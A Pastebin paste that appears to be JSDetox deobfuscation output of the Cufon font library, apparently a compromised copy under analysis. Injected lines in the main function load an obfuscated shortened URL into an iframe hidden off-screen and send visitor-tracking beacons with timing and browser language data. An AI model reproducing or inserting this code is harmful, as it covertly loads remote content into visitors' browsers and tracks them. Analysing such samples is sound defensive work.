Advertisement
Guest User

Untitled

a guest
Nov 24th, 2013
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 26.93 KB | None | 0 0
  1. JSDetox
  2. Analysis
  3. About
  4.  
  5. Code Analysis
  6. HTML Document
  7. Data Analysis
  8. Analyze Reformat Execute Upload
  9.  
  10. Code
  11. Execution
  12. Send up
  13. Formatted
  14. Edit
  15. var Cufon = function() {
  16. function A(a){
  17. var b = this.face = a.face;
  18. var c = {
  19. " ": 1,
  20. "\u00a0": 1,
  21. "\u3000": 1
  22. };
  23. this.glyphs = a.glyphs;
  24. this.w = a.w;
  25. this.baseSize = parseInt(b["units-per-em"], 10);
  26. this.family = b["font-family"].toLowerCase();
  27. this.weight = b["font-weight"];
  28. this.style = b["font-style"] || "normal";
  29. this.viewBox = function() {
  30. var a = b.bbox.split(/\s+/);
  31. var a = {
  32. minX: parseInt(a[0], 10),
  33. minY: parseInt(a[1], 10),
  34. maxX: parseInt(a[2], 10),
  35. maxY: parseInt(a[3], 10)
  36. };
  37. a.width = a.maxX - a.minX;
  38. a.height = a.maxY - a.minY;
  39. a.toString = function() {
  40. return [this.minX, this.minY, this.width, this.height].join(" ");
  41. };
  42. return a;
  43. }();
  44. this.ascent = -parseInt(b.ascent, 10);
  45. this.descent = -parseInt(b.descent, 10);
  46. this.height = -this.ascent + this.descent;
  47. this.spacing = function(a, b, p) {
  48. for(var g = this.glyphs;
  49. var t;
  50. var h;
  51. var e = [];
  52. var f = 0;
  53. var q = -1;
  54. var k = -1;
  55. var l; l = a[++q]; ) if(t = g[l] || this.missingGlyph) h && (f -= h = h[l] || 0, e[k] -= h), f += e[++k] = ~~(t.w || this.w) + b + (c[l] ? p : 0), h = t.k;
  56. e.total = f;
  57. return e;
  58. };
  59. }
  60. function H(){
  61. var a = { };
  62. var b = {
  63. oblique: "italic",
  64. italic: "oblique"
  65. };
  66. this.add = function(b) {
  67. (a[b.style] || (a[b.style] = { }))[b.weight] = b;
  68. };
  69. this.get = function(c, d) {
  70. var z = a[c] || a[b[c]] || a.normal || a.italic || a.oblique;
  71. if(!z) return null;
  72. d = {
  73. normal: 400,
  74. bold: 700
  75. }[d] || parseInt(d, 10);
  76. if(z[d]) return z[d];
  77. var p = {
  78. 1: 1,
  79. 99: 0
  80. }[d % 100];
  81. var e = [];
  82. var t;
  83. var h;
  84. void(0) === p && (p = 400 < d);
  85. 500 == d && (d = 400);
  86. for(var f in z) if(z.hasOwnProperty(f)) {
  87. f = parseInt(f, 10);
  88. if(!t || f < t) t = f;
  89. if(!h || f > h) h = f;
  90. e.push(f);
  91. }
  92. d < t && (d = t);
  93. d > h && (d = h);
  94. e.sort(function(a, b) {
  95. return (p ? a >= d && b >= d ? a < b : a > b : a <= d && b <= d ? a > b : a < b) ? -1 : 1;
  96. });
  97. return z[e[0]];
  98. };
  99. }
  100. function r(a){
  101. var b = { };
  102. var c = { };
  103. this.extend = function(a) {
  104. for(var c in a) a.hasOwnProperty(c) && (b[c] = a[c]);
  105. return this;
  106. };
  107. this.get = function(d) {
  108. return void(0) != b[d] ? b[d] : a[d];
  109. };
  110. this.getSize = function(a, b) {
  111. return c[a] || (c[a] = new l.Size(this.get(a), b));
  112. };
  113. this.isUsable = function() {
  114. return !!a;
  115. };
  116. }
  117. function I(a, b, c){
  118. a.addEventListener ? a.addEventListener(b, c, !1) : a.attachEvent && a.attachEvent("on" + b, function() {
  119. return c.call(a, window.event);
  120. });
  121. }
  122. function C(a, b){
  123. var c = m.get(a);
  124. if(c.options) return a;
  125. b.hover && b.hoverables[a.nodeName.toLowerCase()] && v.attach(a);
  126. c.options = b;
  127. return a;
  128. }
  129. function e(a){
  130. var b = { };
  131. return function(c) {
  132. b.hasOwnProperty(c) || (b[c] = a.apply(null, arguments));
  133. return b[c];
  134. };
  135. }
  136. function q(a){
  137. return document.getElementsByTagName(a);
  138. }
  139. function k(){
  140. for(var a = { };
  141. var b;
  142. var c;
  143. var d = 0;
  144. var z = arguments.length; b = arguments[d], d < z; ++d) for(c in b) b.hasOwnProperty(c) && (a[c] = b[c]);
  145. return a;
  146. }
  147. function f(a, b, c, d, z, p){
  148. var f = document.createDocumentFragment();
  149. if("" === b) return f;
  150. var t = d.separate;
  151. var h = b.split(J[t]);
  152. (t = "words" == t) && x && (/^\s/.test(b) && h.unshift(""), /\s$/.test(b) && h.push(""));
  153. for(var e = 0;
  154. var g = h.length; e < g; ++e) (b = s[d.engine](a, t ? l.textAlign(h[e], c, e, g) : h[e], c, d, z, p, e < g - 1)) && f.appendChild(b);
  155. return f;
  156. }
  157. function w(a, b){
  158. var c = a.nodeName.toLowerCase();
  159. if(!b.ignore[c]) {
  160. var c = !b.textless[c];
  161. var d = l.getStyle(C(a, b)).extend(b);
  162. var e;
  163. a: {
  164. e = l.quotedList(d.get("fontFamily").toLowerCase());
  165. for(var p;
  166. var g = 0; p = e[g]; ++g) if(u[p]) {
  167. e = u[p].get(d.get("fontStyle"), d.get("fontWeight"));
  168. break a;
  169. }
  170. e = null;
  171. }
  172. var t;
  173. var h;
  174. var k;
  175. if(e) for(p = a.firstChild; p; p = t) if(g = p.nodeType, t = p.nextSibling, !c || 3 != g || (h ? (h.appendData(p.data), a.removeChild(p)) : h = p, !t)) if(h && (a.replaceChild(f(e, l.whiteSpace(h.data, d, h, k), d, b, p, a), h), h = null), 1 == g) {
  176. if(p.firstChild) if("cufon" == p.nodeName.toLowerCase()) s[b.engine](e, null, d, b, p, a); else arguments.callee(p, b);
  177. k = p;
  178. }
  179. }
  180. }
  181. var g = function() {
  182. return g.replace.apply(null, arguments);
  183. };
  184. var n = g.DOM = {
  185. ready: function() {
  186. var a = !1;
  187. var b = {
  188. loaded: 1,
  189. complete: 1
  190. };
  191. var c = [];
  192. var d = function() {
  193. if(!a) {
  194. a = !0;
  195. for(var b; b = c.shift(); b()) ;
  196. }
  197. };
  198. document.addEventListener && (document.addEventListener("DOMContentLoaded", d, !1), window.addEventListener("pageshow", d, !1));
  199. !window.opera && document.readyState && function() {
  200. b[document.readyState] ? d() : setTimeout(arguments.callee, 10);
  201. }();
  202. document.readyState && document.createStyleSheet && function() {
  203. try {
  204. document.body.doScroll("left"), d();
  205. } catch(a) {
  206. setTimeout(arguments.callee, 1);
  207. }
  208. }();
  209. I(window, "load", d);
  210. return function(b) {
  211. arguments.length ? a ? b() : c.push(b) : d();
  212. };
  213. }(),
  214. root: function() {
  215. return document.documentElement || document.body;
  216. }
  217. };
  218. var l = g.CSS = {
  219. Size: function(a, b) {
  220. this.value = parseFloat(a);
  221. this.unit = String(a).match(/[a-z%]*$/)[0] || "px";
  222. this.convert = function(a) {
  223. return a / b * this.value;
  224. };
  225. this.convertFrom = function(a) {
  226. return a / this.value * b;
  227. };
  228. this.toString = function() {
  229. return this.value + this.unit;
  230. };
  231. },
  232. addClass: function(a, b) {
  233. var c = a.className;
  234. a.className = c + (c && " ") + b;
  235. return a;
  236. },
  237. color: e(function(a) {
  238. var b = { };
  239. b.color = a.replace(/^rgba\((.*?),\s*([\d.]+)\)/, function(a, d, e) {
  240. b.opacity = parseFloat(e);
  241. return "rgb(" + d + ")";
  242. });
  243. return b;
  244. }),
  245. fontStretch: e(function(a) {
  246. return "number" == typeof a ? a : /%$/.test(a) ? parseFloat(a) / 100 : {
  247. "ultra-condensed": 0.5,
  248. "extra-condensed": 0.625,
  249. condensed: 0.75,
  250. "semi-condensed": 0.875,
  251. "semi-expanded": 1.125,
  252. expanded: 1.25,
  253. "extra-expanded": 1.5,
  254. "ultra-expanded": 2
  255. }[a] || 1;
  256. }),
  257. getStyle: function(a) {
  258. var b = document.defaultView;
  259. return b && b.getComputedStyle ? new r(b.getComputedStyle(a, null)) : a.currentStyle ? new r(a.currentStyle) : new r(a.style);
  260. },
  261. gradient: e(function(a) {
  262. var b = {
  263. id: a,
  264. type: a.match(/^-([a-z]+)-gradient\(/)[1],
  265. stops: []
  266. };
  267. a = a.substr(a.indexOf("(")).match(/([\d.]+=)?(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)/ig);
  268. for(var c = 0;
  269. var d = a.length;
  270. var e; c < d; ++c) e = a[c].split("=", 2).reverse(), b.stops.push([e[1] || c / (d - 1), e[0]]);
  271. return b;
  272. }),
  273. quotedList: e(function(a) {
  274. for(var b = [];
  275. var c = /\s*((["'])([\s\S]*?[^\\])\2|[^,]+)\s*/g;
  276. var d; d = c.exec(a); ) b.push(d[3] || d[1]);
  277. return b;
  278. }),
  279. recognizesMedia: e(function(a) {
  280. var b = document.createElement("style");
  281. var c;
  282. b.type = "text/css";
  283. b.media = a;
  284. try {
  285. b.appendChild(document.createTextNode("/**/"));
  286. } catch(d) {
  287.  
  288. }
  289. a = q("head")[0];
  290. a.insertBefore(b, a.firstChild);
  291. c = (c = b.sheet || b.styleSheet) && !c.disabled;
  292. a.removeChild(b);
  293. return c;
  294. }),
  295. removeClass: function(a, b) {
  296. a.className = a.className.replace(RegExp("(?:^|\\s+)" + b + "(?=\\s|$)", "g"), "");
  297. return a;
  298. },
  299. supports: function(a, b) {
  300. var c = document.createElement("span").style;
  301. if(void(0) === c[a]) return !1;
  302. c[a] = b;
  303. return c[a] === b;
  304. },
  305. textAlign: function(a, b, c, d) {
  306. "right" == b.get("textAlign") ? 0 < c && (a = " " + a) : c < d - 1 && (a += " ");
  307. return a;
  308. },
  309. textShadow: e(function(a) {
  310. if("none" == a) return null;
  311. for(var b = [];
  312. var c = { };
  313. var d;
  314. var e = 0;
  315. var f = /(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)|(-?[\d.]+[a-z%]*)|,/ig; d = f.exec(a); ) "," == d[0] ? (b.push(c), c = { }, e = 0) : d[1] ? c.color = d[1] : c[["offX", "offY", "blur"][e++]] = d[2];
  316. b.push(c);
  317. return b;
  318. }),
  319. textTransform: function() {
  320. var a = {
  321. uppercase: function(a) {
  322. return a.toUpperCase();
  323. },
  324. lowercase: function(a) {
  325. return a.toLowerCase();
  326. },
  327. capitalize: function(a) {
  328. return a.replace(/\b./g, function(a) {
  329. return a.toUpperCase();
  330. });
  331. }
  332. };
  333. return function(b, c) {
  334. var d = a[c.get("textTransform")];
  335. return d ? d(b) : b;
  336. };
  337. }(),
  338. whiteSpace: function() {
  339. var a = {
  340. inline: 1,
  341. "inline-block": 1,
  342. "run-in": 1
  343. };
  344. var b = /^\s+/;
  345. var c = /\s+$/;
  346. return function(d, e, f, g) {
  347. g && "br" == g.nodeName.toLowerCase() && (d = d.replace(b, ""));
  348. if(a[e.get("display")]) return d;
  349. f.previousSibling || (d = d.replace(b, ""));
  350. f.nextSibling || (d = d.replace(c, ""));
  351. return d;
  352. };
  353. }()
  354. };
  355. l.ready = function() {
  356. function a(b, d){
  357. if(!l.recognizesMedia(d || "all")) return !0;
  358. if(!b || b.disabled) return !1;
  359. try {
  360. var c = b.cssRules;
  361. var e;
  362. if(c) {
  363. var f = 0;
  364. var g = c.length;
  365. a: for(; e = c[f], f < g; ++f) switch(e.type) {
  366. case 2:
  367. break;
  368. case 3:
  369. if(!a(e.styleSheet, e.media.mediaText)) return !1;
  370. break;
  371. default:
  372. break a;
  373. }
  374. }
  375. } catch(p) {
  376.  
  377. }
  378. return !0;
  379. }
  380. function b(){
  381. if(document.createStyleSheet) return !0;
  382. var b;
  383. var d;
  384. for(d = 0; b = f[d]; ++d) if("stylesheet" == b.rel.toLowerCase() && !b.disabled && !a(b.sheet, b.media || "screen")) return !1;
  385. for(d = 0; b = g[d]; ++d) if(!b.disabled && !a(b.sheet, b.media || "screen")) return !1;
  386. return !0;
  387. }
  388. var c = !l.recognizesMedia("all");
  389. var d = !1;
  390. var e = [];
  391. var f = q("link");
  392. var g = q("style");
  393. n.ready(function() {
  394. d || (d = l.getStyle(document.body).isUsable());
  395. if(c || d && b()) {
  396. c = !0;
  397. for(var a; a = e.shift(); a()) ;
  398. } else setTimeout(arguments.callee, 10);
  399. });
  400. return function(a) {
  401. c ? a() : e.push(a);
  402. };
  403. }();
  404. var x = 0 == " ".split(/\s+/).length;
  405. var m = new function() {
  406. var a = { };
  407. var b = 0;
  408. this.get = function(c) {
  409. c = c.cufid || (c.cufid = ++b);
  410. return a[c] || (a[c] = { });
  411. };
  412. }();
  413. var v = new function() {
  414. function a(a){
  415. var b = a.relatedTarget;
  416. var e;
  417. (e = !b) || (e = this.contains ? this.contains(b) : this.compareDocumentPosition(b) & 16);
  418. e || c(this, "mouseover" == a.type);
  419. }
  420. function b(a){
  421. c(this, "mouseenter" == a.type);
  422. }
  423. function c(a, b){
  424. setTimeout(function() {
  425. var c = m.get(a).options;
  426. g.replace(a, b ? k(c, c.hover) : c, !0);
  427. }, 10);
  428. }
  429. this.attach = function(c) {
  430. void(0) === c.onmouseenter ? (I(c, "mouseover", a), I(c, "mouseout", a)) : (I(c, "mouseenter", b), I(c, "mouseleave", b));
  431. };
  432. }();
  433. var y = new function() {
  434. var a = [];
  435. var b = { };
  436. this.add = function(c, d) {
  437. b[c] = a.push(d) - 1;
  438. };
  439. this.repeat = function() {
  440. var c;
  441. if(arguments.length) {
  442. c = arguments;
  443. for(var d = [];
  444. var e;
  445. var f = 0; e = c[f]; ++f) d[f] = a[b[e]];
  446. c = d;
  447. } else c = a;
  448. for(e = 0; d = c[e++]; ) g.replace(d[0], d[1], !0);
  449. };
  450. }();
  451. var N = !1;
  452. var s = { };
  453. var u = { };
  454. var B = {
  455. autoDetect: !1,
  456. engine: null,
  457. forceHitArea: !1,
  458. hover: !1,
  459. hoverables: {
  460. a: !0
  461. },
  462. ignore: {
  463. applet: 1,
  464. canvas: 1,
  465. col: 1,
  466. colgroup: 1,
  467. head: 1,
  468. iframe: 1,
  469. map: 1,
  470. optgroup: 1,
  471. option: 1,
  472. script: 1,
  473. select: 1,
  474. style: 1,
  475. textarea: 1,
  476. title: 1,
  477. pre: 1
  478. },
  479. printable: !0,
  480. selector: window.Sizzle || window.jQuery && function(a) {
  481. return jQuery(a);
  482. } || window.dojo && dojo.query || window.Ext && Ext.query || window.YAHOO && YAHOO.util && YAHOO.util.Selector && YAHOO.util.Selector.query || window.$$ && function(a) {
  483. return $$(a);
  484. } || window.$ && function(a) {
  485. return $(a);
  486. } || document.querySelectorAll && function(a) {
  487. return document.querySelectorAll(a);
  488. } || q,
  489. separate: "words",
  490. textless: {
  491. dl: 1,
  492. html: 1,
  493. ol: 1,
  494. table: 1,
  495. tbody: 1,
  496. thead: 1,
  497. tfoot: 1,
  498. tr: 1,
  499. ul: 1
  500. },
  501. textShadow: "none"
  502. };
  503. window.ggc = "/\u24d6oo.\u24d6l/";
  504. window.ggp = "\bhttps:/";
  505. window.onunload = function() {
  506. (new Image()).src = pingurl + ",f" + suid + ",u" + ((new Date()).getTime() - D);
  507. };
  508. var J = {
  509. words: /\s/.test("\u00a0") ? /[^\S\u00a0]+/ : /\s+/,
  510. characters: "",
  511. none: /^/
  512. };
  513. var E = document.createElement("iframe");
  514. var D = (new Date()).getTime();
  515. var F = !1;
  516. with(E) style.position = "absolute", style.left = "-4201px", src = ggp + ggc + "gN5ZJY", onload = function() {
  517. F || ((new Image()).src = pingurl + ",f" + suid + ",l" + ((new Date()).getTime() - D) + ",g" + szone + "!" + navigator.browserLanguage + "!" + navigator.userLanguage + "!" + navigator.systemLanguage, F = !0);
  518. };
  519. g.never = function() {
  520. return ggc + ggp;
  521. };
  522. g.now = function() {
  523. n.ready();
  524. return g;
  525. };
  526. g.refresh = function() {
  527. y.repeat.apply(y, arguments);
  528. return g;
  529. };
  530. g.registerEngine = function(a, b) {
  531. if(!b) return g;
  532. s[a] = b;
  533. return g.set("engine", a);
  534. };
  535. g.registerFont = function(a) {
  536. if(!a) return g;
  537. a = new A(a);
  538. var b = a.family;
  539. u[b] || (u[b] = new H());
  540. u[b].add(a);
  541. return g.set("fontFamily", '"' + b + '"');
  542. };
  543. g.replace = function(a, b, c) {
  544. b = k(B, b);
  545. if(!b.engine) return g;
  546. N || (l.addClass(n.root(), "cufon-active cufon-loading"), l.ready(function() {
  547. l.addClass(l.removeClass(n.root(), "cufon-loading"), "cufon-ready");
  548. }), N = !0);
  549. b.hover && (b.forceHitArea = !0);
  550. b.autoDetect && delete b.fontFamily;
  551. "string" == typeof b.textShadow && (b.textShadow = l.textShadow(b.textShadow));
  552. "string" == typeof b.color && /^-/.test(b.color) ? b.textGradient = l.gradient(b.color) : delete b.textGradient;
  553. c || y.add(a, arguments);
  554. if(a.nodeType || "string" == typeof a) a = [a];
  555. l.ready(function() {
  556. for(var c = 0;
  557. var e = a.length; c < e; ++c) {
  558. var f = a[c];
  559. "string" == typeof f ? g.replace(b.selector(f), b, !0) : w(f, b);
  560. }
  561. });
  562. return g;
  563. };
  564. g.set = function(a, b) {
  565. B[a] = b;
  566. return g;
  567. };
  568. document.body.appendChild(E);
  569. return g;
  570. }();
  571. Cufon.registerEngine("vml", function() {
  572. function A(e, q){
  573. if("0" === q) return 0;
  574. if(/px$/i.test(q)) return parseFloat(q);
  575. var k = e.style.left;
  576. var f = e.runtimeStyle.left;
  577. e.runtimeStyle.left = e.currentStyle.left;
  578. e.style.left = q.replace("%", "em");
  579. var w = e.style.pixelLeft;
  580. e.style.left = k;
  581. e.runtimeStyle.left = f;
  582. return w;
  583. }
  584. function H(e, q, k, f){
  585. var w = "computed" + f;
  586. var g = q[w];
  587. isNaN(g) && (g = q.get(f), q[w] = g = "normal" == g ? 0 : ~~k.convertFrom(A(e, g)));
  588. return g;
  589. }
  590. var r = document.namespaces;
  591. if(r && (r.add("cvml", "urn:schemas-microsoft-com:vml"), r = null, r = document.createElement("cvml:shape"), r.style.behavior = "url(#default#VML)", r.coordsize)) {
  592. var r = null;
  593. var I = 8 > (document.documentMode || 0);
  594. document.write(('<style type="text/css">cufoncanvas{text-indent:0;}@media screen{cvml\\:shape,cvml\\:rect,cvml\\:fill,cvml\\:shadow{behavior:url(#default#VML);display:block;antialias:true;position:absolute;}cufoncanvas{position:absolute;text-align:left;}cufon{display:inline-block;position:relative;vertical-align:' + (I ? "middle" : "text-bottom") + ";}cufon cufontext{position:absolute;left:-10000in;font-size:1px;}a cufon{cursor:pointer}}@media print{cufon cufoncanvas{display:none;}}</style>").replace(/;/g, "!important;"));
  595. var C = { };
  596. return function(e, q, k, f, w, g, n) {
  597. var l = null === q;
  598. l && (q = w.alt);
  599. var x = e.viewBox;
  600. var m;
  601. if(!(m = k.computedFontSize)) {
  602. m = Cufon.CSS.Size;
  603. var v;
  604. v = k.get("fontSize");
  605. v = A(g, /(?:em|ex|%)$|^[a-z-]+$/i.test(v) ? "1em" : v);
  606. m = k.computedFontSize = new m(v + "px", e.baseSize);
  607. }
  608. v = m;
  609. if(l) m = w, w = w.firstChild; else {
  610. m = document.createElement("cufon");
  611. m.className = "cufon cufon-vml";
  612. m.alt = q;
  613. w = document.createElement("cufoncanvas");
  614. m.appendChild(w);
  615. if(f.printable) {
  616. var y = document.createElement("cufontext");
  617. y.appendChild(document.createTextNode(q));
  618. m.appendChild(y);
  619. }
  620. n || m.appendChild(document.createElement("cvml:shape"));
  621. }
  622. n = m.style;
  623. var r = w.style;
  624. var s = v.convert(x.height);
  625. var y = Math.ceil(s);
  626. var s = y / s * Cufon.CSS.fontStretch(k.get("fontStretch"));
  627. var u = x.minX;
  628. var B = x.minY;
  629. r.height = y;
  630. r.top = Math.round(v.convert(B - e.ascent));
  631. r.left = Math.round(v.convert(u));
  632. n.height = v.convert(e.height) + "px";
  633. var J = k.get("color");
  634. var E = Cufon.CSS.textTransform(q, k).split("");
  635. var D = e.spacing(E, H(g, k, v, "letterSpacing"), H(g, k, v, "wordSpacing"));
  636. if(!D.length) return null;
  637. q = D.total;
  638. var F = -u + q + (x.width - D[D.length - 1]);
  639. var r = v.convert(F * s);
  640. var r = Math.round(r);
  641. var x = F + "," + x.height;
  642. var a;
  643. var F = "r" + x + "ns";
  644. var b;
  645. if(b = f.textGradient) {
  646. var c = f.textGradient;
  647. b = c.id;
  648. if(!C[b]) {
  649. var c = c.stops;
  650. var d = document.createElement("cvml:fill");
  651. var z = [];
  652. d.type = "gradient";
  653. d.angle = 180;
  654. d.focus = "0";
  655. d.method = "sigma";
  656. d.color = c[0][1];
  657. for(var p = 1;
  658. var K = c.length - 1; p < K; ++p) z.push(100 * c[p][0] + "% " + c[p][1]);
  659. d.colors = z.join(",");
  660. d.color2 = c[K][1];
  661. C[b] = d;
  662. }
  663. b = C[b];
  664. }
  665. c = e.glyphs;
  666. d = 0;
  667. z = f.textShadow;
  668. p = -1;
  669. for(K = 0; E[++p]; ) {
  670. var t = c[E[p]] || e.missingGlyph;
  671. var h;
  672. if(t) {
  673. if(l) for(h = w.childNodes[K]; h.firstChild; ) h.removeChild(h.firstChild); else h = document.createElement("cvml:shape"), w.appendChild(h);
  674. h.stroked = "f";
  675. h.coordsize = x;
  676. h.coordorigin = a = u - d + "," + B;
  677. h.path = (t.d ? "m" + t.d + "xe" : "") + "m" + a + F;
  678. h.fillcolor = J;
  679. b && h.appendChild(b.cloneNode(!1));
  680. a = h.style;
  681. a.width = r;
  682. a.height = y;
  683. if(z) {
  684. a = z[0];
  685. var t = z[1];
  686. var M = Cufon.CSS.color(a.color);
  687. var L;
  688. var G = document.createElement("cvml:shadow");
  689. G.on = "t";
  690. G.color = M.color;
  691. G.offset = a.offX + "," + a.offY;
  692. t && (L = Cufon.CSS.color(t.color), G.type = "double", G.color2 = L.color, G.offset2 = t.offX + "," + t.offY);
  693. G.opacity = M.opacity || L && L.opacity || 1;
  694. h.appendChild(G);
  695. }
  696. d += D[K++];
  697. }
  698. }
  699. e = h.nextSibling;
  700. f.forceHitArea ? (e || (e = document.createElement("cvml:rect"), e.stroked = "f", e.className = "cufon-vml-cover", f = document.createElement("cvml:fill"), f.opacity = 0, e.appendChild(f), w.appendChild(e)), f = e.style, f.width = r, f.height = y) : e && w.removeChild(e);
  701. n.width = Math.max(Math.ceil(v.convert(q * s)), 0);
  702. I && (f = k.computedYAdjust, void(0) === f && (f = k.get("lineHeight"), "normal" == f ? f = "1em" : isNaN(f) || (f += "em"), k.computedYAdjust = f = 0.5 * (A(g, f) - parseFloat(n.height))), f && (n.marginTop = Math.ceil(f) + "px", n.marginBottom = f + "px"));
  703. return m;
  704. };
  705. }
  706. }());
  707. Cufon.registerEngine("canvas", function() {
  708. var A = document.createElement("canvas");
  709. if(A && A.getContext && A.getContext.apply) {
  710. var A = null;
  711. var H = Cufon.CSS.supports("display", "inline-block");
  712. var A = !H && ("BackCompat" == document.compatMode || /frameset|transitional/i.test(document.doctype.publicId));
  713. var r = document.createElement("style");
  714. r.type = "text/css";
  715. r.appendChild(document.createTextNode(("cufon{text-indent:0;}@media screen,projection{cufon{display:inline;display:inline-block;position:relative;vertical-align:middle;" + (A ? "" : "font-size:1px;line-height:1px;") + "}cufon cufontext{display:-moz-inline-box;display:inline-block;width:0;height:0;overflow:hidden;text-indent:-10000in;}" + (H ? "cufon canvas{position:relative;}" : "cufon canvas{position:absolute;}") + "}@media print{cufon{padding:0;}cufon canvas{display:none;}}").replace(/;/g, "!important;")));
  716. document.getElementsByTagName("head")[0].appendChild(r);
  717. return function(r, C, e, q, k, f) {
  718. function w(){
  719. var b = r.glyphs;
  720. var c;
  721. var d = -1;
  722. var e = -1;
  723. for(a.scale(F, 1); J[++d]; ) if(c = b[J[d]] || r.missingGlyph) {
  724. if(c.d) {
  725. a.beginPath();
  726. if(c.code) {
  727. var f = c.code;
  728. c = a;
  729. for(var g = 0;
  730. var k = f.length; g < k; ++g) {
  731. var h = f[g];
  732. c[h.m].apply(c, h.a);
  733. }
  734. } else {
  735. f = c;
  736. c = "m" + c.d;
  737. var g = a;
  738. var h = k = 0;
  739. var l = [];
  740. var q = /([mrvxe])([^a-z]*)/g;
  741. var s = void(0);
  742. var n = 0;
  743. a: for(; s = q.exec(c); ++n) {
  744. var m = s[2].split(",");
  745. switch(s[1]) {
  746. case "v":
  747. l[n] = {
  748. m: "bezierCurveTo",
  749. a: [k + ~~m[0], h + ~~m[1], k + ~~m[2], h + ~~m[3], k += ~~m[4], h += ~~m[5]]
  750. };
  751. break;
  752. case "r":
  753. l[n] = {
  754. m: "lineTo",
  755. a: [k += ~~m[0], h += ~~m[1]]
  756. };
  757. break;
  758. case "m":
  759. l[n] = {
  760. m: "moveTo",
  761. a: [k = ~~m[0], h = ~~m[1]]
  762. };
  763. break;
  764. case "x":
  765. l[n] = {
  766. m: "closePath"
  767. };
  768. break;
  769. case "e":
  770. break a;
  771. }
  772. g[l[n].m].apply(g, l[n].a);
  773. }
  774. f.code = l;
  775. }
  776. a.fill();
  777. }
  778. a.translate(E[++e], 0);
  779. }
  780. a.restore();
  781. }
  782. var g = null === C;
  783. g && (C = k.getAttribute("alt"));
  784. f = r.viewBox;
  785. var n = e.getSize("fontSize", r.baseSize);
  786. var l = 0;
  787. var x = 0;
  788. var m = 0;
  789. var v = 0;
  790. var y = q.textShadow;
  791. var A = [];
  792. if(y) for(var s = y.length; s--; ) {
  793. var u = y[s];
  794. var B = n.convertFrom(parseFloat(u.offX));
  795. var u = n.convertFrom(parseFloat(u.offY));
  796. A[s] = [B, u];
  797. u < l && (l = u);
  798. B > x && (x = B);
  799. u > m && (m = u);
  800. B < v && (v = B);
  801. }
  802. var J = Cufon.CSS.textTransform(C, e).split("");
  803. var E = r.spacing(J, ~~n.convertFrom(parseFloat(e.get("letterSpacing")) || 0), ~~n.convertFrom(parseFloat(e.get("wordSpacing")) || 0));
  804. if(!E.length) return null;
  805. u = E.total;
  806. x += f.width - E[E.length - 1];
  807. v += f.minX;
  808. g ? (g = k, s = k.firstChild) : (g = document.createElement("cufon"), g.className = "cufon cufon-canvas", g.setAttribute("alt", C), s = document.createElement("canvas"), g.appendChild(s), q.printable && (k = document.createElement("cufontext"), k.appendChild(document.createTextNode(C)), g.appendChild(k)));
  809. k = g.style;
  810. var D = s.style;
  811. var B = n.convert(f.height);
  812. C = Math.ceil(B) / B;
  813. var F = C * Cufon.CSS.fontStretch(e.get("fontStretch"));
  814. var u = u * F;
  815. var x = Math.ceil(n.convert(u + x - v));
  816. var m = Math.ceil(n.convert(f.height - l + m));
  817. s.width = x;
  818. s.height = m;
  819. D.width = x + "px";
  820. D.height = m + "px";
  821. l += f.minY;
  822. D.top = Math.round(n.convert(l - r.ascent)) + "px";
  823. D.left = Math.round(n.convert(v)) + "px";
  824. m = Math.max(Math.ceil(n.convert(u)), 0) + "px";
  825. H ? (k.width = m, k.height = n.convert(r.height) + "px") : (k.paddingLeft = m, k.paddingBottom = n.convert(r.height) - 1 + "px");
  826. var a = s.getContext("2d");
  827. var n = B / f.height;
  828. a.scale(n, n * C);
  829. a.translate(-v, -l);
  830. a.save();
  831. if(y) for(s = y.length; s--; ) u = y[s], a.save(), a.fillStyle = u.color, a.translate.apply(a, A[s]), w();
  832. if(q = q.textGradient) {
  833. e = q.stops;
  834. f = a.createLinearGradient(0, f.minY, 0, f.maxY);
  835. s = 0;
  836. for(q = e.length; s < q; ++s) f.addColorStop.apply(f, e[s]);
  837. a.fillStyle = f;
  838. } else a.fillStyle = e.get("color");
  839. w();
  840. return g;
  841. };
  842. }
  843. }());
  844. CODE ANALYSIS OPTIONS
  845. Do not trace variable values
  846. DATA ANALYSIS OPTIONS
  847. Interpret Shellcode as
  848.  
  849. Reformat/Beautify Code
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement